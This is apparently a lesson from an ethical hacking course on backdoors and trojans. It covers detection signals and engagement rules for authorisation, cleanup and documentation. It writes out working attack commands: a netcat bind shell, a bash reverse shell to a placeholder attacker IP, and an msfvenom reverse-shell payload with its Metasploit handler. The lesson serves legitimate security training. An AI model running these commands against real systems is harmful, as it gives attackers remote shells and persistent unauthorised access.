Ethical Hacking
Backdoors & Trojans
Getting into a system is one thing. Staying in — quietly, persistently, without being noticed — is another skill entirely. This lesson covers how backdoors are planted and maintained, how trojans deliver their payloads, and what defenders look for to catch both.
The difference between a backdoor and a trojan
These two terms get used interchangeably in popular reporting but they describe different things. A trojan is a delivery mechanism — malware disguised as something legitimate to get a user to run it. A backdoor is what gets left behind after access is established — a persistent entry point that survives reboots and lets an attacker return without re-exploiting the original vulnerability.
In practice they often work together. A trojan delivers the initial payload. That payload installs a backdoor. The backdoor maintains long-term access. The trojan may be cleaned by antivirus — but if the backdoor survives, the attacker still has a way back in. Understanding both sides of that chain is what lets a pen tester assess whether an organisation's defences would catch the full attack, not just the initial entry.
How trojans work — disguise as the core mechanism
A trojan's entire value proposition is that it looks legitimate. It might appear as a cracked software installer, a fake antivirus alert, a PDF invoice, a video codec download, or a browser extension that promises to block ads. The user installs it voluntarily, which bypasses many security controls entirely — because the user themselves authorised the execution.
The delivery mechanism has evolved considerably. Early trojans relied on clumsy social engineering — obvious fake alerts, suspicious download sites. Modern trojan delivery is often indistinguishable from legitimate software distribution. Attackers have used legitimate advertising networks to deliver malicious downloads, compromised legitimate software update mechanisms, and even published functional browser extensions to official stores that contained hidden data exfiltration code. Google and Mozilla have both removed malicious extensions from their stores after millions of installs.
Backdoors — maintaining access after initial compromise
Once a system is compromised, the attacker's next priority is ensuring they do not have to re-exploit the original vulnerability every time they want access. The original vulnerability might be patched. The user whose credentials were compromised might change their password. The backdoor exists to provide a secondary, persistent entry point that survives those remediation actions.
In a pen test context, planting a backdoor during an engagement demonstrates the full impact of a compromise. It is not enough to show that initial access was achieved — showing that access could have been maintained indefinitely is a more powerful demonstration of the real-world risk.
# Creating a simple backdoor using netcat on Linux — lab demonstration only
# This demonstrates the concept used in real engagements
# Never run this on any system outside your authorised lab
# Method 1 — netcat listener backdoor
# nc -l opens a listening port that accepts incoming connections
# -p 4444 specifies the port to listen on
# -e /bin/bash executes bash for whoever connects
# Anyone connecting to port 4444 gets a bash shell
nc -lvp 4444 -e /bin/bash
# Method 2 — reverse shell (more practical for real attacks)
# Instead of listening and waiting for connections (which requires an open port),
# a reverse shell makes the VICTIM connect OUT to the attacker
# This bypasses inbound firewall rules because the connection is outgoing
# On the attacker's Kali machine — listen for the incoming connection
nc -lvp 4444
# On the compromised target — connect back to attacker IP and spawn a shell
# Replace KALI_IP with your Kali IP address
bash -i >& /dev/tcp/KALI_IP/4444 0>&1Breaking it down:
A bind shell listens on the target and waits for the attacker to connect. This requires an open inbound port — which most firewalls block. A reverse shell makes the target connect outward to the attacker. Outbound connections are far less restricted than inbound ones, which makes reverse shells the practical standard in real attacks. The target initiates the connection, the firewall sees outbound HTTPS, and the shell comes right through.
This is a bash built-in that opens a TCP connection to the specified IP and port, then redirects stdin, stdout, and stderr through that connection. The result is an interactive shell whose input and output travel over the network connection. No additional tools required — bash is already installed on almost every Linux system.
Msfvenom — generating payloads for testing
Msfvenom is the Metasploit payload generator. It produces executable backdoor payloads in dozens of formats — Windows executables, Linux ELF binaries, Android APKs, PHP web shells, PowerShell scripts, and more. In an engagement, msfvenom is used to create a payload that, when executed on the target, establishes a reverse shell connection back to Metasploit's handler.
This is the workflow pen testers use to demonstrate full compromise — show that an attacker who exploited the initial vulnerability could have dropped a persistent backdoor that provides ongoing access regardless of what remediation the organisation applies to the original finding.
# Generate a reverse shell payload using msfvenom
# This creates a standalone executable that connects back to Kali when run
# Use only in your authorised lab — never on external systems
# -p specifies the payload type
# linux/x86/shell_reverse_tcp = Linux 32-bit reverse shell
# for Windows use: windows/x64/shell_reverse_tcp
# LHOST = the IP of your Kali machine — where the shell connects back to
# LPORT = the port your Kali machine will listen on
# -f elf = output format — ELF is the Linux executable format
# other formats: exe (Windows), apk (Android), php, py, ps1
# -o = output filename
msfvenom -p linux/x86/shell_reverse_tcp \
LHOST=192.168.56.102 \
LPORT=4444 \
-f elf \
-o /tmp/backdoor
# Set up the listener on Kali to catch the incoming connection
# msfconsole handles the reverse shell when the target executes the payload
msfconsole -q -x "use exploit/multi/handler; \
set payload linux/x86/shell_reverse_tcp; \
set LHOST 192.168.56.102; \
set LPORT 4444; \
run"Breaking it down:
The actual shellcode — the instructions that open the reverse shell connection — is just 68 bytes. The ELF wrapper around it makes it 152 bytes total. This is small enough to fit in many buffer overflow exploits and highlights why size alone is not a reliable indicator of malicious intent. Some of the most damaging payloads in history have been tiny.
This Metasploit module does nothing except listen for incoming connections from payloads already deployed on targets. It is the receiving end of any reverse shell. In a real engagement, once the handler has a session open, the pen tester can upgrade it to a full Meterpreter session — giving access to file upload and download, pivoting, credential extraction, and screenshot capability.
How defenders catch backdoors and trojans
Detection is harder than it sounds. A reverse shell over port 443 using HTTPS encryption looks identical to legitimate web browsing at the packet level. A process named "svchost.exe" or "chrome.exe" raises far less suspicion than one named "backdoor.exe." Modern attackers invest heavily in making their tools blend with the noise of normal system activity.
Despite that, there are reliable detection signals that well-configured security tools catch consistently.
Unexpected outbound connections
A process that should not make network connections — a calculator, a local database, a text editor — suddenly making outbound TCP connections is an immediate alert signal. EDR tools track which processes are expected to communicate externally and flag anomalies. A Word document spawning a PowerShell process that then opens a TCP connection is a textbook trojan detection signature.
Process tree anomalies
In Windows, legitimate processes have predictable parent-child relationships. Explorer.exe spawns user applications. Services.exe spawns services. When these relationships are broken — when cmd.exe is spawned by a Word document, or when PowerShell is launched by a process it should never interact with — that deviation is a strong detection signal. EDR tools build process tree models and alert on violations.
Beaconing — regular interval connections
A backdoor that checks in with its C2 server every 60 seconds creates a beaconing pattern. Network traffic analysis tools look for this exact signature — not the content of the traffic, but the timing regularity. Even encrypted traffic beacons on a fixed schedule. Some sophisticated implants add jitter — random variation in the interval — to defeat simple timing analysis, but this is detectable with more advanced statistical methods.
New persistence entries
Registry autorun keys, scheduled tasks, and new services appearing without a corresponding software installation event are high-confidence indicators of backdoor installation. Tools like Autoruns from Sysinternals baseline all persistence locations and highlight anything that did not exist during the previous run. This is one of the fastest ways to identify what a trojan or backdoor has installed during an initial triage.
Engagement rules for backdoors — what is permitted and what is not
This is one of the most important sections of this lesson. Backdoor installation during a pen test requires explicit scope authorisation — not just generic "we can test the systems" approval. Installing persistent access on a client's production system is a significant action that the client needs to have specifically agreed to.
There are three questions that must be answered before planting any backdoor during an engagement:
Is it explicitly authorised?
The scope document should specifically state that backdoor installation is permitted. "Full compromise testing" is not sufficient — get it written explicitly. Some clients want to see the full impact of compromise; others only want initial access demonstrated. Know which engagement you are on before you plant anything.
Will it be removed when the engagement ends?
Every backdoor planted during an engagement must be removed before the engagement closes — and removal must be documented with a timestamp and the specific system and persistence mechanism cleared. A backdoor left on a client's system after an engagement ends is a liability. If it is later exploited by a real attacker, the pen testing firm could be held responsible.
Is it documented throughout?
Every backdoor should be documented the moment it is planted — the system, the file or registry key used, the port it communicates on, the time it was installed, and the time it was removed. This documentation protects the pen tester legally and helps the client verify complete cleanup after the engagement.
Teacher's Note: The payload generated by msfvenom in this lesson is detected by most modern antivirus solutions without any obfuscation. In real engagements, payloads are typically encoded, encrypted, or delivered in stages to evade signature detection. The raw msfvenom output is useful for demonstrating the concept in a lab — not for testing against systems with mature endpoint security.
Quiz
Scenario:
Scenario:
Scenario:
Up Next · Lesson 30
Network Sniffing
Capturing live network traffic with Wireshark and tcpdump — reading packet captures, finding credentials in plaintext protocols, and understanding what your network actually reveals.